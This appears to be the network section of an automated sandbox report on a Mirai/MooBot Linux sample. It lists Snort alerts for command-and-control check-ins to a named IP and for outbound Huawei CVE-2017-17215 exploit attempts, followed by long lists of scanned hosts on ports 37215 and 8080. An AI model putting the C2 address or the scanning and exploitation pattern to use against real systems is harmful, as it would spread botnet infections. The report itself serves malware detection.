Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:48012 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:48036 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:48050 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44624 -> 172.65.4.150:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44624 -> 172.65.4.150:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52664 -> 146.148.193.19:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:52664 -> 146.148.193.19:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:48068 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33870 -> 41.37.209.193:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:33870 -> 41.37.209.193:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:48092 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47522 -> 31.136.123.105:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47522 -> 31.136.123.105:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 31.136.60.152 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 41934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 44594
Source: unknown	Network traffic detected: HTTP traffic on port 44318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 33870
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47522 -> 37215

Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 198.147.72.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 20.250.19.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.219.148.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.78.6.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.92.136.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.228.121.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.184.244.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.246.9.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.200.143.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.126.158.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.55.40.44:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.122.239.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.82.17.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 198.101.135.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.49.185.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.231.180.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 117.127.186.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.179.47.81:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.228.3.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 196.204.125.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.32.169.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.70.143.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.251.114.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.79.43.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.164.207.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.90.46.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.208.131.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.234.84.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.214.89.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.184.250.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 122.20.11.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.222.238.160:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.118.161.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.161.123.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.91.166.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.253.53.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 158.38.120.142:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 51.174.32.138:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.63.128.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.190.151.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.255.98.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.115.86.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 106.2.182.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.196.154.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.242.39.204:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.233.55.110:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 179.252.239.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 188.171.125.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.172.187.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.198.74.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.146.145.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.162.155.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.42.168.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.228.50.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.116.59.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.67.38.253:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 163.94.178.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.243.187.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.14.22.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.148.212.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.127.106.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.250.89.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 128.216.53.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.134.138.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 217.111.213.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 79.223.178.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.179.110.50:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.210.69.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.115.205.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.6.217.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 32.137.157.234:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.226.67.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 212.152.224.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 155.9.66.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 75.185.223.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.243.221.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.12.94.255:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.252.130.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.245.241.212:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.148.183.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.94.42.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.83.85.204:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 72.153.208.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 91.95.175.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.178.179.61:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.21.113.234:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.187.204.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.146.79.44:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 209.147.127.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.90.171.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.237.85.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 162.47.85.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.27.81.87:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.143.214.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.33.54.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 189.33.102.26:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.126.170.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.93.186.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.222.135.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 169.135.34.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 103.124.161.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 136.79.250.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 89.113.10.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.218.210.223:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.254.229.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.154.203.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.11.80.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.7.104.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.211.93.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.218.34.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.107.128.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.29.70.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.248.7.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.3.110.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.163.206.114:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 179.120.233.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.235.137.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.107.172.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.172.100.210:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.149.156.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 169.143.137.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.190.197.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.110.69.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.143.49.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 38.24.200.202:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 34.182.9.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.27.233.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.10.218.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.140.13.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 220.18.121.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.83.62.80:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.139.105.192:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.52.240.111:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.31.152.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.243.87.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.14.235.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.146.28.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.193.134.166:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.237.12.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.137.146.245:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.205.145.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.70.132.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.220.14.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.62.215.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.57.117.81:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.94.188.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 76.183.55.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 48.163.100.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.206.107.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 105.226.185.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.40.189.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.105.217.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.36.83.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.21.3.66:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.169.51.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 42.106.107.45:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.201.214.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.43.112.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 187.252.4.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.82.151.45:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.64.60.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.57.51.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.52.89.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 187.85.206.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.218.61.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 166.167.147.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 151.188.163.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.133.160.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.125.255.37:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.200.43.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.222.189.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 2.104.188.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 74.121.26.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.19.81.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.42.168.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.151.43.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.185.235.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.72.100.254:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.111.199.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.53.185.170:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.19.6.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 27.168.40.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.142.102.240:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.109.97.50:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.112.51.236:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 210.232.251.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.252.96.87:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.85.127.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.30.57.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 66.65.152.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.170.227.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 143.34.49.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.32.123.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.220.225.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.209.200.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.155.56.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.72.247.81:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.170.254.214:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.52.48.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.90.182.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.215.104.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 66.101.170.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.128.99.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.129.114.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 107.34.248.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 49.197.131.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.204.211.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.37.196.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.11.123.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 51.75.205.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.150.235.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.243.74.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.73.92.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.49.135.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.8.0.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.144.104.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.60.41.236:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.109.66.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.67.143.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 208.107.116.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.35.13.26:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.92.50.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.131.135.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.56.183.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.162.245.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.249.66.253:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 35.212.212.66:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.0.235.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 161.251.109.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.210.164.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.50.149.154:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.151.189.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.75.229.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.193.145.107:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.229.255.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 166.6.99.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.147.44.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.246.21.185:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.154.196.154:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.139.107.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.215.194.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 73.126.93.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.168.189.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.14.206.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 2.205.0.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.215.235.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 64.244.227.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 157.181.121.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 113.208.160.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 197.124.174.142:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 138.170.250.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.201.116.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:62982 -> 41.230.156.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 182.171.8.159:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 135.207.111.159:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 100.176.156.189:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 78.152.69.28:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 156.94.89.153:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 121.221.134.43:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 133.224.94.136:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 45.119.125.250:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 90.187.0.222:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 161.253.136.141:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 83.37.47.97:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 193.27.111.219:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 1.102.209.116:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 195.180.66.19:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 24.217.104.31:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 65.68.144.182:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 42.108.193.34:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 158.120.79.41:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 54.4.254.156:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 39.227.210.40:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 139.49.111.235:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 115.31.229.223:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 78.132.236.67:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 32.203.50.133:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 61.227.241.63:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 86.49.101.33:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 188.83.106.233:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 151.173.39.114:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 165.106.224.5:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 50.142.100.65:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 63.159.62.84:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 169.52.26.68:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 175.50.48.57:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 5.144.156.220:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 86.224.148.205:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 147.195.228.208:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 49.146.164.135:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 151.218.23.53:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 104.204.126.236:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 205.206.254.21:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 76.100.54.7:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 183.50.132.207:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 76.86.41.117:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 112.0.211.123:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 31.111.168.93:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 218.254.57.71:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 169.157.215.44:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 87.67.2.64:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 49.95.190.85:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 97.172.122.84:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 124.246.11.147:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 60.4.95.150:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 77.182.200.2:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 80.22.77.47:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 97.133.237.70:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 45.71.73.197:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 93.106.146.111:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 46.184.134.39:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 154.179.109.200:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 139.161.61.118:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 75.156.6.214:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 149.29.220.163:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 104.30.118.122:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 110.193.20.213:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 204.236.184.123:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 150.184.207.128:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 98.84.85.142:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 96.128.130.241:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 60.41.7.88:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 161.91.63.55:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 37.159.68.174:8080
